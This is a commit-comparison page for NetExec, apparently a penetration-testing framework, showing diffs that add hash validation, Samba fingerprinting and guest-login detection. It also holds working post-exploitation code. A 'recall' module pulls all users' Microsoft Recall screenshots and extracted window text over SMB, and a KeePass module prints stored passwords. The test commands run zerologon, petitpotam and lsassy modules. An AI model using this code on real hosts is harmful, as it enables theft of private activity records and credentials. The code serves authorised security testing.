Compare commits

...
50 Commits
Author SHA1 Message Date
Marshall Hallenbeck d7fde3a76b Merge branch 'main' into marshall-recall
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-06-18 11:44:58 -04:00
Alex 1af282888c Merge pull request #344 from n00py/main
Add EnumAV Detection for Cortex XDR
2024-06-14 16:15:20 -04:00
Alex f2311b308b Merge pull request #345 from Anhydrite/main
Added domain name for --users with samr
2024-06-13 19:33:25 -04:00
Anhydrite d44ed75076 Merge branch 'Pennyw0rth:main' into main 2024-06-11 17:21:42 +02:00
Anhydrite 271268a092 added domain name for --users with samr 2024-06-11 17:21:07 +02:00
n00py cdffba942d Update enum_av.py
Signed-off-by: n00py <[email protected]>
2024-06-11 08:35:36 -06:00
n00py 15f29a9c4f Update enum_av.py
Signed-off-by: n00py <[email protected]>
2024-06-11 08:33:22 -06:00
n00py 08e3f17365 Update enum_av.py
Added signature for Cortex

Signed-off-by: n00py <[email protected]>
2024-06-11 08:31:33 -06:00
Alex e4ca4f9fef Merge pull request #343 from Anhydrite/main 2024-06-11 08:59:55 -04:00
Anhydrite 5f79c176ea PR Fixes: changed logger success to display & added len 2024-06-11 14:38:03 +02:00
Anhydrite 3e18d2f588 Just added prints 2024-06-11 11:48:09 +02:00
Alex c956dba3ab Merge pull request #340 from Pennyw0rth/neff-os-detection 2024-06-10 13:36:48 -04:00
Alexander Neff fbeab5fb5c Fingerprint Samba 2024-06-09 18:15:20 -04:00
Alexander Neff 35b4374f63 Fix Pwned spacing 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck b3c1302f1f fix: fix hash length since its 32/64 (not 16) and we need to consider the colon between NTLM hashes 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck cdca8bcbc4 tests: add test hashes 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck 936dc3d977 revert spacing for Admin/Guest output 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck 7fc5150674 fix(ruff): E226 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck b71057aef4 feat(smb): check if successful login is guest privs 2024-06-08 17:24:07 -04:00
Marshall Hallenbeck 665f778dd0 Merge pull request #336 from Pennyw0rth/update_hash_tests
add testing hash file to e2e_commands.txt
2024-06-08 09:36:48 -04:00
Marshall Hallenbeck 9ed8e9c4b5 tests: add Recall module to tests 2024-06-07 21:19:14 -04:00
Marshall Hallenbeck 791733853e add testing hash file to e2e_commands.txt 2024-06-07 21:16:51 -04:00
Alex eedbce83b6 Merge pull request #333 from Pennyw0rth/marshall-guest-login
Add output if a successful authentication is via Guest privileges
2024-06-07 19:58:11 +02:00
Alexander Neff 2bc18c5786 Fix Pwned spacing 2024-06-07 13:41:25 -04:00
Marshall Hallenbeck 791c142ae5 feat(recall): allow for silencing of specific file download output and fix specifying USERS 2024-06-07 10:30:23 -04:00
Marshall Hallenbeck cc7d7d0be3 feat(smb): allow for silencing of file download messages 2024-06-07 10:29:49 -04:00
Marshall Hallenbeck 1ec24e71ce ruff fix 2024-06-07 09:17:16 -04:00
Marshall Hallenbeck 06e813110b feat(recall): grab all app names and URIs 2024-06-07 09:06:16 -04:00
Marshall Hallenbeck 5fdcb162da remove unused function 2024-06-06 20:22:38 -04:00
Marshall Hallenbeck 4d51ff3f7a feat(recall): add DB parsing 2024-06-06 19:57:58 -04:00
Marshall Hallenbeck 3e98fd33f1 ruff fix 2024-06-06 19:55:59 -04:00
Marshall Hallenbeck 50e477ce1e fix description 2024-06-06 15:59:16 -04:00
Marshall Hallenbeck ba86391704 feat: recall module to download entire recall directory; renames screenshots 2024-06-06 15:51:45 -04:00
Marshall Hallenbeck 765dabe297 formatting: over indent 2024-06-06 15:51:19 -04:00
Marshall Hallenbeck 0f730e62e2 smb: clean up get-folder code 2024-06-06 13:00:15 -04:00
Marshall Hallenbeck 2ce36d5ea2 feat(smb): add feature to download entire folders from target 2024-06-06 12:57:32 -04:00
Marshall Hallenbeck e25988275a Merge pull request #334 from fpreynaud/main
[NXCDB] Add support for CTRL-D
2024-06-06 10:49:35 -04:00
François REYNAUD f3fb3d431f [NXCDB] Add support for CTRL-D 2024-06-06 12:15:42 +02:00
Marshall Hallenbeck 0983df94db fix: fix hash length since its 32/64 (not 16) and we need to consider the colon between NTLM hashes 2024-06-05 12:18:27 -04:00
Marshall Hallenbeck bd8620125c tests: add test hashes 2024-06-05 12:18:04 -04:00
Marshall Hallenbeck aa38c7a18a revert spacing for Admin/Guest output 2024-06-05 12:05:52 -04:00
Marshall Hallenbeck 3797ccf888 fix(ruff): E226 2024-06-05 08:37:44 -04:00
Marshall Hallenbeck cfe231a9a1 feat(smb): check if successful login is guest privs 2024-06-05 08:37:24 -04:00
Alex 67da598b11 Merge pull request #279 from sepauli/sepauli/fix-keepass_trigger
fix extract_password
2024-06-01 23:53:48 +02:00
Alexander Neff efa0b75c10 Fix linting 2024-06-01 17:47:07 -04:00
Alex 2fa3e83ae9 Merge branch 'main' into sepauli/fix-keepass_trigger 2024-06-01 23:31:08 +02:00
sepauli 94e0ab62ea fix typo 2024-05-25 18:58:29 +02:00
sepauli 061ee498bf fix output for keepass2 2024-05-25 18:37:03 +02:00
Alex 7afb4afd35 Merge branch 'main' into sepauli/fix-keepass_trigger 2024-05-19 23:40:10 +02:00
sepauli 4e0b44f6a6 fix extract_password 2024-04-27 22:29:55 +02:00
11 changed files with 311 additions and 54 deletions

No files matched your search

+15 -5
View File
@@ -412,12 +412,22 @@ class connection:
for ntlm_hash in self.args.hash:
if isfile(ntlm_hash):
with open(ntlm_hash) as ntlm_hash_file:
for line in ntlm_hash_file:
secret.append(line.strip())
cred_type.append("hash")
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
else:
secret.append(ntlm_hash)
cred_type.append("hash")
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
secret.append(ntlm_hash)
cred_type.append("hash")
self.logger.debug(secret)
# Parse AES keys
if self.args.aesKey:
+8
View File
@@ -247,6 +247,14 @@ conf = {
"services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
"pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
},
{
"name": "Cortex",
"services": [
{"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
{"name": "cyserver", "description": " Cortex XDR"}
],
"pipes": []
},
{
"name": "Cybereason",
"services": [
+26 -26
View File
@@ -1,7 +1,5 @@
import os
import sys
import json
from xmltodict import parse
from time import sleep
from csv import reader
from base64 import b64encode
@@ -381,28 +379,30 @@ class NXCModule:
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
xml_tree = ElementTree.parse(xml_doc_path)
root = xml_tree.getroot()
to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
xml_to_dict = parse(to_string)
dump = json.dumps(xml_to_dict)
obj = json.loads(dump)
if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
for password in obj2["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
try:
for obj3 in obj2["Entry"]:
for password in obj3["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
except KeyError:
pass
root_entries = root.find("./Root/Entry")
if root_entries is not None:
for entry in root_entries:
if entry is not None:
self.print_password(context, entry)
else:
context.log.highlight("None")
objects = root.findall("./Root/Group")
while objects:
current_object = objects.pop(0)
for entry in current_object.findall("./Entry"):
self.print_password(context, entry)
for history in entry.findall("./History"):
for history_entry in history.findall("./Entry"):
self.print_password(context, history_entry)
objects.extend(current_object.findall("./Group"))
def print_password(self, context, entries):
for entry in entries.findall("./String"):
key = entry.find("./Key")
value = entry.find("./Value")
key_text = key.text if key is not None else "None"
value_text = value.text if value is not None and value.text is not None else "None"
context.log.highlight(f"{key_text} : {value_text}")
context.log.highlight("-------------------------------------")
+137
View File
@@ -0,0 +1,137 @@
from impacket import smb, smb3
import ntpath
from os import rename
from os.path import split, join, splitext, dirname, abspath
from glob import glob
from sqlite3 import connect
class NXCModule:
"""
Recall
-------
Module by @Marshall-Hallenbeck (@mjhallenbeck on Twitter)
Inspired by https://github.com/xaitax/TotalRecall (code my own)
"""
name = "recall"
description = "Downloads Microsoft Recall folders for all users"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""
USERS Download only specified user(s); format: -o USERS=user1,user2,user3
SILENT Do not display individual file download messages; set to enable
"""
self.context = context
self.recall_path_stub = "\\AppData\\Local\\CoreAIPlatform.00\\UKP\\"
self.users = module_options["USERS"] if "USERS" in module_options else None
self.silent = module_options["SILENT"] if "SILENT" in module_options else False
def on_admin_login(self, context, connection):
output_path = f"recall_{connection.host}"
context.log.debug("Getting all user Recall folders")
user_folders = connection.conn.listPath("C$", "\\Users\\*")
context.log.debug(f"User folders: {user_folders}")
if not user_folders:
self.context.log.fail("No User folders found!")
else:
context.log.display("User folder(s) found, attempting to dump Recall contents (no output means no Recall folder)")
for user_folder in user_folders:
if not user_folder.is_directory():
continue
folder_name = user_folder.get_longname()
context.log.debug(f"{folder_name=} {self.users=}")
if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]:
continue
if self.users and folder_name not in self.users:
self.context.log.debug(f"Specific users are specified and {folder_name} is not one of them")
continue
recall_path = ntpath.normpath(join(r"Users", folder_name, self.recall_path_stub))
context.log.debug(f"Checking for Recall folder {recall_path}")
try:
connection.conn.listPath("C$", recall_path)
except Exception:
context.log.debug(f"Recall folder {recall_path} not found!")
continue
user_output_dir = join(output_path, folder_name)
try:
context.log.display(f"Downloading Recall folder for user {folder_name}")
connection.download_folder(recall_path, user_output_dir, True)
except (smb.SessionError, smb3.SessionError):
context.log.debug(f"Folder {recall_path} not found!")
context.log.success(f"Recall folder for user {folder_name} downloaded to {user_output_dir}")
self.rename_screenshots(user_output_dir)
context.log.debug("Parsing Recall DB files...")
db_files = glob(f"{output_path}/*/*/ukg.db")
for db in db_files:
self.parse_recall_db(db)
def parse_recall_db(self, db_path):
self.context.log.debug(f"Parsing Recall database {db_path}")
parent = abspath(dirname(dirname(db_path)))
self.context.log.debug(f"Parent: {parent}")
conn = connect(db_path)
c = conn.cursor()
win_text_cap_tab = "WindowCaptureTextIndex_content"
joined_q = f"""
SELECT t1.c1, t2.c2
FROM {win_text_cap_tab} AS t1
JOIN {win_text_cap_tab} AS t2 ON t1.c0 = t2.c0
WHERE t1.c1 IS NOT NULL AND t2.c2 IS NOT NULL;
"""
c.execute(joined_q)
window_content = c.fetchall()
with open(join(parent, "window_content.txt"), "w") as file:
file.writelines(f"{row[0]}, {row[1]}\n" for row in window_content)
window_q = f"SELECT c1 FROM {win_text_cap_tab} WHERE c1 IS NOT NULL;"
c.execute(window_q)
windows = c.fetchall()
with open(join(parent, "windows.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in windows)
content_q = f"SELECT c2 FROM {win_text_cap_tab} WHERE c2 IS NOT NULL;"
c.execute(content_q)
content = c.fetchall()
with open(join(parent, "content.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in content)
web_tab = "Web"
web_q = f"""
SELECT Uri FROM {web_tab};
"""
c.execute(web_q)
uris = c.fetchall()
with open(join(parent, "uris.txt"), "w") as file:
file.writelines(f"{row[0]}\n" for row in uris)
app_tab = "App"
app_q = f"""
SELECT Name, WindowsAppId, Path FROM {app_tab};
"""
c.execute(app_q)
apps = c.fetchall()
with open(join(parent, "apps.txt"), "w") as file:
file.writelines(f"{row[0]}, {row[1]}, {row[2]}\n" for row in apps)
def rename_screenshots(self, path):
self.context.log.debug(f"Renaming screenshots at {path}")
files = glob(f"{path}/*/ImageStore/*")
self.context.log.debug(f"Files to rename: {files}")
for file in files:
directory, filename = split(file)
if not splitext(filename)[1]:
rename(file, join(directory, f"{filename}.jpg"))
+5
View File
@@ -512,6 +512,11 @@ class NXCDBMenu(cmd.Cmd):
def do_exit(line):
sys.exit()
@staticmethod
def do_EOF(line):
sys.exit()
@staticmethod
def help_exit():
help_string = """
+1 -1
View File
@@ -752,7 +752,7 @@ class ldap(connection):
users = parse_result_attributes(resp)
# we print the total records after we parse the results since often SearchResultReferences are returned
self.logger.display(f"Total records returned: {len(users):d}")
self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
+99 -18
View File
@@ -7,6 +7,7 @@ from Cryptodome.Hash import MD4
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
from impacket.examples.secretsdump import (
RemoteOperations,
SAMHashes,
@@ -147,6 +148,9 @@ class smb(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.server_os_major = None
self.server_os_minor = None
self.server_os_build = None
self.os_arch = 0
self.hash = None
self.lmhash = ""
@@ -161,6 +165,7 @@ class smb(connection):
self.no_da = None
self.no_ntlm = False
self.protocol = "SMB"
self.is_guest = None
connection.__init__(self, args, db, host)
@@ -229,7 +234,19 @@ class smb(connection):
self.domain = self.hostname
self.targetDomain = self.hostname
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
# Also only on Windows we should get an OS arch as for that we would need MSRPC
self.server_os = self.conn.getServerOS()
self.server_os_major = self.conn.getServerOSMajor()
self.server_os_minor = self.conn.getServerOSMinor()
self.server_os_build = self.conn.getServerOSBuild()
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix - Samba"
elif self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix"
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
self.logger.extra["hostname"] = self.hostname
if isinstance(self.server_os.lower(), bytes):
@@ -310,7 +327,8 @@ class smb(connection):
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
self.check_if_admin()
if "Unix" not in self.server_os:
self.check_if_admin()
if username == "":
self.username = self.conn.getCredentials()[0]
@@ -375,8 +393,12 @@ class smb(connection):
self.domain = domain
self.conn.login(self.username, self.password, domain)
self.check_if_admin()
self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
user_id = self.db.get_credential("plaintext", domain, self.username, self.password)
@@ -384,7 +406,7 @@ class smb(connection):
self.db.add_loggedin_relation(user_id, host_id)
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "":
@@ -444,14 +466,18 @@ class smb(connection):
self.nthash = nthash
self.conn.login(self.username, "", domain, lmhash, nthash)
self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
self.check_if_admin()
user_id = self.db.add_credential("hash", domain, self.username, nthash)
if "Unix" not in self.server_os:
self.check_if_admin()
user_id = self.db.add_credential("hash", domain, self.username, self.hash)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(user_id, host_id)
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "":
@@ -531,6 +557,7 @@ class smb(connection):
return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
def check_if_admin(self):
self.logger.debug(f"Checking if user is admin on {self.host}")
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
dce = rpctransport.get_dce_rpc()
try:
@@ -544,6 +571,7 @@ class smb(connection):
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
self.logger.debug(f"User is admin on {self.host}!")
self.admin_privs = True
except scmr.DCERPCException:
self.admin_privs = False
@@ -1281,25 +1309,75 @@ class smb(connection):
def put_file(self):
for src, dest in self.args.put_file:
self.put_file_single(src, dest)
def get_file_single(self, remote_path, download_path):
def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
try:
self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
return True
except SessionError as e:
if "STATUS_SHARING_VIOLATION" in str(e):
self.logger.debug(f"Sharing violation on {remote_path}: {e}")
return False
except Exception as e:
self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
return False
def get_file_single(self, remote_path, download_path, silent=False):
share_name = self.args.share
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
if not silent:
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
with open(download_path, "wb+") as file:
try:
self.conn.getFile(share_name, remote_path, file.write)
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
except Exception as e:
self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
if os.path.getsize(download_path) == 0:
os.remove(download_path)
if self.download_file(share_name, remote_path, file.write):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
if not silent:
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
else:
if not silent:
self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")
def get_file(self):
for src, dest in self.args.get_file:
self.get_file_single(src, dest)
def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None):
normalized_folder = ntpath.normpath(folder)
base_folder = os.path.basename(normalized_folder)
self.logger.debug(f"Base folder: {base_folder}")
items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
self.logger.debug(f"{len(items)} items in folder: {items}")
for item in items:
item_name = item.get_longname()
if item_name not in [".", ".."]:
dir_path = ntpath.normpath(ntpath.join(normalized_folder, item_name))
if item.is_directory() and recursive:
self.download_folder(dir_path, dest, silent, recursive, base_dir or folder)
elif not item.is_directory():
remote_file_path = ntpath.join(folder, item_name)
# change the Windows path to Linux and then join it with the base directory to get our actual save path
relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
local_folder_path = os.path.join(dest, relative_path)
local_file_path = os.path.join(local_folder_path, item_name)
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
os.makedirs(local_folder_path, exist_ok=True)
try:
self.get_file_single(remote_file_path, local_file_path, silent)
except FileNotFoundError:
self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
def get_folder(self):
recursive = self.args.recursive
for folder, dest in self.args.get_folder:
self.download_folder(folder, dest, recursive)
def enable_remoteops(self):
try:
@@ -1774,3 +1852,6 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error calling remote_ops.finish(): {e}")
NTDS.finish()
def mark_guest(self):
return highlight(f"{highlight('(Guest)')}" if self.is_guest else "")
+2
View File
@@ -65,6 +65,8 @@ def proto_args(parser, parents):
files_group = smb_parser.add_argument_group("Files", "Options for remote file interaction")
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
files_group.add_argument("--recursive", default=False, action="store_true", help="Recursively get a folder")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
+5 -3
View File
@@ -78,10 +78,11 @@ class UserSamrDump:
if resp2["ErrorCode"] != 0:
raise Exception("Connect error")
domain_name = resp2["Buffer"]["Buffer"][0]["Name"]
resp3 = samr.hSamrLookupDomainInSamServer(
self.dce,
serverHandle=resp["ServerHandle"],
name=resp2["Buffer"]["Buffer"][0]["Name"],
name=domain_name,
)
if resp3["ErrorCode"] != 0:
raise Exception("Connect error")
@@ -132,7 +133,7 @@ class UserSamrDump:
# set these for the while loop
enumerationContext = enumerate_users_resp["EnumerationContext"]
status = enumerate_users_resp["ErrorCode"]
self.print_user_info(users)
self.print_user_info(users, domain_name)
self.dce.disconnect()
def get_user_info(self, domain_handle, user_ids):
@@ -165,7 +166,8 @@ class UserSamrDump:
samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
return users
def print_user_info(self, users):
def print_user_info(self, users, domain_name):
self.logger.display(f"Enumerated {len(users):d} local users: {domain_name}")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
for user in users:
self.logger.debug(f"Full user info: {user}")
+6
View File
@@ -0,0 +1,6 @@
DEADBEEFDEADBEEFDEADBEEFDEADBEEF
DEADBEEFDEADBEEFDEADBEEFDEADBEEF:DEADBEEFDEADBEEFDEADBEEFDEADBEEF
TooShort
ToooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooLong
fc525c9683e8fe067095ba2ddc971889
aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
+7 -1
View File
@@ -129,6 +129,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav -
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User SILENT=True
# test for multiple modules at once
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
##### SMB Anonymous Auth
@@ -137,7 +140,10 @@ netexec smb TARGET_HOST -u '' -p '' -M petitpotam
##### SMB Auth File
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec smb TARGET_HOST -u TEST_USER_FILE -p tests/data/test_passwords.txt
netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
##### SMB Hash File
netexec smb TARGET_HOST -u LOGIN_USERNAME -H tests/data/test_hashes.txt
netexec smb TARGET_HOST -u TEST_USER_FILE -H tests/data/test_hashes.txt
##### WMI
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2